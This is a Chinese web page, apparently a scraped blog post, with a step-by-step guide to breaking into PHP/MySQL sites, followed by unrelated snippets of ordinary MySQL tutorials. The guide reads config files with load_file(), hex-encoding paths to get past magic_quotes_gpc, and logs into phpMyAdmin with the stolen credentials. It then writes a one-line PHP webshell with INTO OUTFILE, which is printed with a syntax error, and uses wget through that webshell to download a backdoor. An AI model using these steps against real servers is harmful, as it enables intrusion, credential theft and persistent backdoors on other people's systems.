php mysql下的load_file函数与into_out函数

1.MySQL用户的权限(mysql.user里可以查看),file_priv,可以对系统文件进行读写,当然这个文件要是当前的系统用户有读写权限的。

2.Load_file()函数,读取文件内容

3.Into outfile(导出字符类型的文件,如文本文件)或into dumpfile(可以导出二进制,如执行文件)可以导出数据库内容到文件

4.一句话木马,<?php system($_REQUEST[cmd];)?>可以执行系统命令

5.鼠标放网站链接上,在下面状态栏看到php?id=一般说明与数据库交互

6在显示位上用user()可以显示当前用户,database()显示当前数据库名称,version()数据库版本(@@version),@@basedir(显示数据库安装路径),@@datadir数据库的数据路径

7如果在显示位上用load_file()加载物理路径(因为magic_quotes_gpc可能是打开的转换成十六进制后可以绕过它的限制,所以要转换成十六进制)出来的没有数据库信息的话,那么它包含的文件一般都有数据库连接信息等,再用load_file()加载包含的文件(依旧转换成十六进制)

8MySQL除了企业版是不可以远程连接的,一般都有phpmyadmin,一般在网站URL后面加上phpmyadmin

9利用load_file()加载出包含文件里的用户名密码登录phpmyadmin ,创建新的数据库,表,字段,然后再在该数据库中执行语句select  *  from beach  into   outfile  ‘网站的绝对路径/导出文件的文件名(自己随便创建创建)’

10.访问网站的绝对路径/导出的文件名.php?看是否导出成功

访问网站的绝对路径/导出的文件名.php?创建的字段=ls  列出路径下的所有文件

11用wget这个软件下载脚本后门:网站的绝对路径/导出的文件名.php?创建的字段=wget+下载的地址

12.下载完成后用网站的绝对路径/导出的文件名.php?创建的字段=ls  列出路径下的所有文件看是否下载成功。

13.用网站的绝对路径/导出的文件名.php?创建的字段=mv+原文件名+新文件名

14.访问网站的绝对路径/新文件名登录脚本后门即可(可用网站的绝对路径/导出的文件名.php?创建的字段=cat ./新创建的文件名查看脚本后门的密码)

时间: 2024-07-31 04:29:35

php mysql下的load_file函数与into_out函数的相关文章

MySQL下创建序列及创建自定义函数方法介绍

工作过程中需要将基于DB2数据库的应用以及数据迁移到MySQL中去,在原应用中,大量使用了SEQUENCE,考虑尽量减少代码的修改,决定在迁移后的应用中继续保留SEQUENCE的使用,这就要求在MySQL中寻找替代SEQUENCE的解决方案. 在DB2中创建一个SEQUENCE的方法如下: DROP SEQUENCE TRZ_MEMBER.SEQ_TRZ_MEMBER_NO; CREATE SEQUENCE TRZ_MEMBER.SEQ_TRZ_MEMBER_NO AS BIGINT INCRE

MySQL注入中load_file()函数的应用

常用的一些Load_File()函数攻击手法: MySQL注入中load_file()函数的应用

【MySQL笔记】触发器,存储过程和函数

一.触发器 触发器(TRIGGER):是由事件来触发某个操作.当数据库系统执行这些事件时,就会激活触发器执行相应的操作.MySQL从5.0.2版本开始支持触发器. 触发事件:INSERT语句.UPDATE语句和DELETE语句. 1.创建触发器 1.1.创建只有一个执行语句的触发器 CREATE  TRIGGER 触发器名  BEFORE | AFTER  触发事件 ON  表名 FOR  EACH  ROW  执行语句 1.2.创建有多个执行语句的触发器 DELIMITER&& CREA

MySQL 储存过程-原理、语法、函数详细说明

Mysql储存过程是一组为了完成特定功能的SQL语句集,经过编译之后存储在数据库中,当需要使用该组SQL语句时用户只需要通过指定储存过程的名字并给定参数就可以调用执行它了,简而言之就是一组已经写好的命令,需要使用的时候拿出来用就可以了.想要快速的了解Mysql储存过程吗,就一同看一下下文的"Mysql储存过程-原理.语法.函数详细说明"吧! 一.Mysql储存过程简介:储存过程是一个可编程的函数,它在数据库中创建并保存.它可以有SQL语句和一些特殊的控制结构组成.当希望在不同的应用程序

日期函数、时间函数总结(MySQL 5.X)

一.MySQL 获得当前日期时间 函数1.1 获得当前日期+时间(date + time)函数:now()mysql> select now(); +---------------------+| now() |+---------------------+| 2008-08-08 22:20:46 |+---------------------+ 除了 now() 函数能获得当前的日期时间外,MySQL 中还有下面的函数:current_timestamp(),current_timestam

MySQL日期函数、时间函数总结(MySQL 5.X)

获得当前日期时间函数 1.1 获得当前日期+时间(date + time)函数:now() mysql> select now(); +---------------------+ | now()               | +---------------------+ | 2015-11-10 13:36:55 | +---------------------+ 1 row in set (0.00 sec) 除了 now() 函数能获得当前的日期时间外,MySQL 中还有下面的函数:

MySql常用函数数学函数、加密函数等(转—收藏)

MySql函数众多,这里只是列举了一部分常用的函数. 一.数学函数 ABS(x)                                         // 返回x的绝对值 BIN(x)   //返回x的二进制(OCT返回八进制,HEX返回十六进制) CEILING(x)                                 //返回大于x的最小整数值 EXP(x) //返回值e(自然对数的底)的x次方 FLOOR(x)   //返回小于x的最大整数值 GREATEST(x1

MySQL学习17:运算符与函数之字符函数

MySQL字符函数 MySQL数据库中常用的字符函数有下面几个: (1)字符连接 首先创建一个名字为imooc的数据库,然后再使用CONCAT()字符连接函数进行查询: CREATE DATABASE imooc; SELECT CONCAT('imooc','MySQL'); SELECT CONCAT('imooc','-','MySQL'); 前期数据准备 CREATE TABLE test( first_name VARCHAR(20), last_name VARCHAR(10) );

【转】MYSQL入门学习之十三:自定义函数的基本操作

转载地址:http://www.2cto.com/database/201212/177382.html 一.自定义函数(UDF)的特性和功能  www.2cto.com 函数能分返回字符串,整数或实数; 可以定义一次作用于一行的简单函数,或作用于多行的组的集合函数; 二.基本操作 1.创建自定义函数 CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL} BEGIN //函数实现的语句 END; aggre